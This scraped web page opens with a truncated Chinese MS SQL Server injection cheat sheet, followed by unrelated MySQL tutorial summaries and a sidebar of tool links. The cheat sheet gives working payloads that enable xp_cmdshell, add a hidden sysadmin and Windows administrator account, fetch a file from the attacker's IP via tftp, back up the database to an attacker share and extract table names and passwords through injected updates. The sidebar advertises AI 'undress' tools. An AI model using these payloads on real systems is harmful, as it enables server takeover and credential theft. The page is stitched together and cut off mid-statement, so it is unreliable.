bitsCN.com
aths(path)
values(@test)--
;use ku1;--
;create table cmd (str image);-- 建立image类型的表cmd
存在xp_cmdshell的测试过程:
;exec master..xp_cmdshell 'dir'
;exec master.dbo.sp_addlogin jiaoniang$;-- 加SQL帐号
;exec master.dbo.sp_password null,jiaoniang$,1866574;--
;exec master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;--
;exec master.dbo.xp_cmdshell 'net user jiaoniang$ 1866574 /workstations:*
/times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators jiaoniang$
/add';--
exec master..xp_servicecontrol 'start', 'schedule' 启动服务
exec master..xp_servicecontrol 'start', 'server'
; DECLARE @shell INT EXEC SP_OACreate 'wscript.shell',@shell OUTPUT EXEC
SP_OAMETHOD @shell,'run',null, 'C:/WINNT/system32/cmd.exe /c net user
jiaoniang$ 1866574 /add'
;DECLARE @shell INT EXEC SP_OACreate 'wscript.shell',@shell OUTPUT EXEC
SP_OAMETHOD @shell,'run',null, 'C:/WINNT/system32/cmd.exe /c net
localgroup administrators jiaoniang$ /add'
'; exec master..xp_cmdshell 'tftp -i youip get file.exe'-- 利用TFTP上传文件
;declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:/'
;declare @a sysname set @a='xp'+'_cm’+’dshell' exec @a 'dir c:/'
;declare @a;set @a=db_name();backup database @a to
disk='你的IP你的共享目录bak.dat'
如果被限制则可以。
select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec
master.dbo.sp_addlogin hax')
查询构造:
Select * FROM news Where id=... AND topic=... AND .....
admin'and 1=(select count(*) from [user] where username='victim' and
right(left(userpass,01),1)='1') and userpass '
select 123;--
;use master;--
:a' or name like 'fff%';-- 显示有一个叫ffff的用户哈。
and 1(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where
xtype='u' and status>0) where name='ffff';--
;update [users] set email=(select top 1 id from sysobjects where xtype='u'
and name='ad') where name='ffff';--
';update [users] set email=(select top 1 name from sysobjects where
xtype='u' and id>581577110) where name='ffff';--
';update [users] set email=(select top 1 count(id) from password) where
name='ffff';--
';update [users] set email=(select top 1 pwd from password where id=2)
where name='ffff';--
';update [users] set email=(select top 1 name from password where id=2)
where name='ffff';--
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名ad得到这个表的ID 得到第二个表的名字
insert into users values( 666,
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
char(0x63)+char(0x68)+char(0x72)+c
bitsCN.com

In database optimization, indexing strategies should be selected according to query requirements: 1. When the query involves multiple columns and the order of conditions is fixed, use composite indexes; 2. When the query involves multiple columns but the order of conditions is not fixed, use multiple single-column indexes. Composite indexes are suitable for optimizing multi-column queries, while single-column indexes are suitable for single-column queries.

To optimize MySQL slow query, slowquerylog and performance_schema need to be used: 1. Enable slowquerylog and set thresholds to record slow query; 2. Use performance_schema to analyze query execution details, find out performance bottlenecks and optimize.

MySQL and SQL are essential skills for developers. 1.MySQL is an open source relational database management system, and SQL is the standard language used to manage and operate databases. 2.MySQL supports multiple storage engines through efficient data storage and retrieval functions, and SQL completes complex data operations through simple statements. 3. Examples of usage include basic queries and advanced queries, such as filtering and sorting by condition. 4. Common errors include syntax errors and performance issues, which can be optimized by checking SQL statements and using EXPLAIN commands. 5. Performance optimization techniques include using indexes, avoiding full table scanning, optimizing JOIN operations and improving code readability.

MySQL asynchronous master-slave replication enables data synchronization through binlog, improving read performance and high availability. 1) The master server record changes to binlog; 2) The slave server reads binlog through I/O threads; 3) The server SQL thread applies binlog to synchronize data.

MySQL is an open source relational database management system. 1) Create database and tables: Use the CREATEDATABASE and CREATETABLE commands. 2) Basic operations: INSERT, UPDATE, DELETE and SELECT. 3) Advanced operations: JOIN, subquery and transaction processing. 4) Debugging skills: Check syntax, data type and permissions. 5) Optimization suggestions: Use indexes, avoid SELECT* and use transactions.

The installation and basic operations of MySQL include: 1. Download and install MySQL, set the root user password; 2. Use SQL commands to create databases and tables, such as CREATEDATABASE and CREATETABLE; 3. Execute CRUD operations, use INSERT, SELECT, UPDATE, DELETE commands; 4. Create indexes and stored procedures to optimize performance and implement complex logic. With these steps, you can build and manage MySQL databases from scratch.

InnoDBBufferPool improves the performance of MySQL databases by loading data and index pages into memory. 1) The data page is loaded into the BufferPool to reduce disk I/O. 2) Dirty pages are marked and refreshed to disk regularly. 3) LRU algorithm management data page elimination. 4) The read-out mechanism loads the possible data pages in advance.

MySQL is suitable for beginners because it is simple to install, powerful and easy to manage data. 1. Simple installation and configuration, suitable for a variety of operating systems. 2. Support basic operations such as creating databases and tables, inserting, querying, updating and deleting data. 3. Provide advanced functions such as JOIN operations and subqueries. 4. Performance can be improved through indexing, query optimization and table partitioning. 5. Support backup, recovery and security measures to ensure data security and consistency.


Hot AI Tools

Undresser.AI Undress
AI-powered app for creating realistic nude photos

AI Clothes Remover
Online AI tool for removing clothes from photos.

Undress AI Tool
Undress images for free

Clothoff.io
AI clothes remover

AI Hentai Generator
Generate AI Hentai for free.

Hot Article

Hot Tools

Safe Exam Browser
Safe Exam Browser is a secure browser environment for taking online exams securely. This software turns any computer into a secure workstation. It controls access to any utility and prevents students from using unauthorized resources.

Notepad++7.3.1
Easy-to-use and free code editor

Dreamweaver CS6
Visual web development tools

MinGW - Minimalist GNU for Windows
This project is in the process of being migrated to osdn.net/projects/mingw, you can continue to follow us there. MinGW: A native Windows port of the GNU Compiler Collection (GCC), freely distributable import libraries and header files for building native Windows applications; includes extensions to the MSVC runtime to support C99 functionality. All MinGW software can run on 64-bit Windows platforms.

PhpStorm Mac version
The latest (2018.2.1) professional PHP integrated development tool